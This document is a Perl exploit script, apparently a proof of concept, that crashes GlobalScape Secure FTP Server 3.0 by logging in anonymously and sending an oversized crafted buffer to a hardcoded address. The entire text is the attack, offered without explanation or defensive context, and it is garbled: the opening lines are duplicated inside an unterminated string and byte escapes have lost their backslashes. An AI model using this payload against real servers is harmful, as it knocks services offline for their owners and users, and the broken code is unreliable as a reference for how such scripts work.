use strict;
use IO::Socket;
print "GlobalScape Secure FTP Server 3.0 - Denial of Service ";
my $payload = "x41x42x0ax00 #!/usr/bin/perl
use strict;
use IO::Socket;
print "GlobalScape Secure FTP Server 3.0 - Denial of Service ";
my $payload = "x41x42x0ax00"x147;
my $buffer = "x41"x2043 . "x41x42x43x00" . "x42"x36 . $payload;
my $sock = IO::Socket::INET->new(PeerAddr => '192.168.0.10', PeerPort => 21, Proto => 'tcp');
if ($sock) {
print "[+] Connected to FTP server ";
print "[+] Sending Username ";
print $sock "USER anonymous ";
print "[+] Sending Password ";
print $sock "PASS anonymous ";
print "[+] Sending payload to exploit n";
print $sock $buffer . " ";
print "[+] Exploit! ";
close($sock);
} else {
print "Can't connect to FTP ";
}